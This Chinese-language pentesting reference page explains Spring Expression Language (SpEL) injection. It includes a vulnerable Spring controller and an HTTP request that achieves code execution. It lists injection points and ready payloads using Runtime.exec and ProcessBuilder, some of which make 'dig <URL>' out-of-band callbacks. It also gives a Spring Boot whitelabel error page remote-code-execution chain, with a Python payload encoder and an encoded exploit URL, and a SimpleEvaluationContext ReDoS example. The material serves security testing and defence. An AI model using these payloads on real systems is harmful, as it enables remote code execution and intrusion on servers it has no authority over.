SpEL注入

Spring Expression Language (SpEL) 概述

Spring Expression Language(简称SpEL)是一种强大的表达式语言,支持在运行时查询和操作对象图。

使用Spring表达式接口进行表达式求值

以下代码介绍了SpEL API来评估字面字符串表达式Hello World!

ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression("'Hello World'.concat('!')");
String message = (String) exp.getValue();

message变量的值就是简单的Hello World!

EvaluationContext接口

EvaluationContext接口在评估表达式时用于解析属性、方法、字段,并帮助执行类型转换。有两个主要的现成实现:

  • StandardEvaluationContext。一个功能强大且高度可配置的EvaluationContext实现。此上下文使用所有适用策略的标准实现,基于反射来解析属性、方法和字段。

  • SimpleEvaluationContextEvaluationContext的基本实现,专注于基本的SpEL功能和自定义选项,针对简单的条件评估特别是数据绑定场景。

StandardEvaluationContext standardContext = new StandardEvaluationContext();
EvaluationContext simpleContext = SimpleEvaluationContext.forReadOnlyDataBinding ().build();
Expression exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec('id')");
// 执行'id'命令(默认使用标准上下文)
exp.getValue();
// 执行'id'命令
exp.getValue(standardContext);
// 接收错误消息
exp.getValue(simpleContext);

表达式支持定义Bean定义

SpEL表达式可以与基于XML或注解的配置元数据一起使用,用于定义BeanDefinitions。在这两种情况下,定义表达式的语法形式为#{ <expression string> }

基于XML的配置

您可以使用表达式设置属性或构造函数参数值。

<bean id="numberGuess" class="org.spring.samples.NumberGuess">
    <property name="randomNumber" value="#{ T(java.lang.Math).random() * 100.0 }"/>
    <property name="defaultLocale" value="#{ systemProperties['user.region'] }"/>
    <!-- 其他属性 -->
</bean>

基于注解的配置

@Value注解可以放在字段、方法和方法/构造函数参数上以指定默认值。

public static class FieldValueTestBean {
  @Value("#{ systemProperties['user.region'] }")
  private String defaultLocale;

  public void setDefaultLocale(String defaultLocale)
  {
    this.defaultLocale = defaultLocale;
  }

  public String getDefaultLocale()
  {
    return this.defaultLocale;
  }
}

语言参考

SpEL注入

当用户控制的数据直接传递给SpEL表达式解析器时,会发生SpEL注入。例如,以下方法使用标准上下文来评估SpEL表达式:

private static final SpelExpressionParser PARSER = new SpelExpressionParser();
private static final StandardEvaluationContext CONTEXT = new StandardEvaluationContext();

@PostMapping(path = "/")
public void method(@RequestBody String path, @RequestBody String value) {
    Expression expression = PARSER.parseExpression(path);
    expression.setValue(CONTEXT, value);
    // ...
}

因此,您可以通过发送以下POST请求来获得代码执行:

POST / HTTP/1.1
Host: vulnerable-website.com
...

{"path":"T(java.lang.Runtime).getRuntime().exec('touch executed').x", "value":"executed"}

如果您可以访问源代码,请尝试使用以下关键字搜索易受攻击的代码:

  • SpelExpressionParserEvaluationContextparseExpression@Value("#{ <expression string> }")

  • #{ <expression string> }${<property>}T(<javaclass>)

如果源代码不可用,值得检查Spring Boot执行器提供的metricsbeans端点。这些端点可以扩展可用bean列表及其接受的参数。

此外,尝试在服务的不同元素中使用表达式:

  • 参数名称和值:

    • variable[<expression string>]=123

    • variable=123&<expression string>=123

    • {"<expression string>":"123"}

    • {"variable":"<expression string>"}

  • HTTP头部:

    • Cookie: cookie_name=<expression string>

    • Cookie: <expression string>=cookie_value

    • Private-Token: <expression string>

  • 等等。

您可以使用以下payload作为表达式字符串:

${1+3}
T(java.lang.Runtime).getRuntime().exec("dig <URL>")
#this.getClass().forName('java.lang.Runtime').getRuntime().exec('dig <URL>')
new java.lang.ProcessBuilder({'dig <URL>'}).start()
${user.name}

Spring boot whitelabel错误页面RCE

此漏洞需要以下条件:

  • Spring Boot版本1.1.0 - 1.1.121.2.0 - 1.2.71.3.0

  • 在Spring Boot中至少有一个接口触发默认的whitelabel错误页面

检查下一个Spring Boot应用程序:LandGrey/springboot-spel-rce。如果您向/article?id=hop发送请求,应用程序将返回代码为500的whitelabel错误。但是,如果您向/article?id=${7*7}发送请求,应用程序将返回计算值49的错误页面。发生这种情况是因为:

  1. Spring Boot使用org.springframework.util.PropertyPlaceholderHelper类处理错误中的URL参数

  2. PropertyPlaceholderHelper.parseStringValue方法解析URL参数

  3. ${}中包含的内容将被org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration类的resolvePlaceholder方法解析并作为SpEL表达式执行

因此,这导致RCE,您可以使用以下步骤执行任意命令:

  1. 使用下一个python脚本准备payload(此示例准备执行open -a Calculator命令的payload):

    cmd = 'open -a Calculator'
    
    h = ''
    for x in cmd:
        h += hex(ord(x)) + ','
    
    payload = h.rstrip(',')
    
    print('${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{' + payload + '}))}')
  2. id参数中发送payload:

    /article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}
  3. open -a Calculator将被执行

参考:

SimpleEvaluationContext ReDoS

SimpleEvaluationContext上下文阻止任意代码执行并写入错误消息。但是,您仍然可以利用ReDoS攻击。

EvaluationContext simpleContext = SimpleEvaluationContext.forReadOnlyDataBinding ().build();
Expression exp = parser.parseExpression("'aaaaaaaaaaaaaaaaaaaaaaaa!'.matches('^(a+)+$')");
// ReDoS
exp.getValue(simpleContext);

参考

最后更新于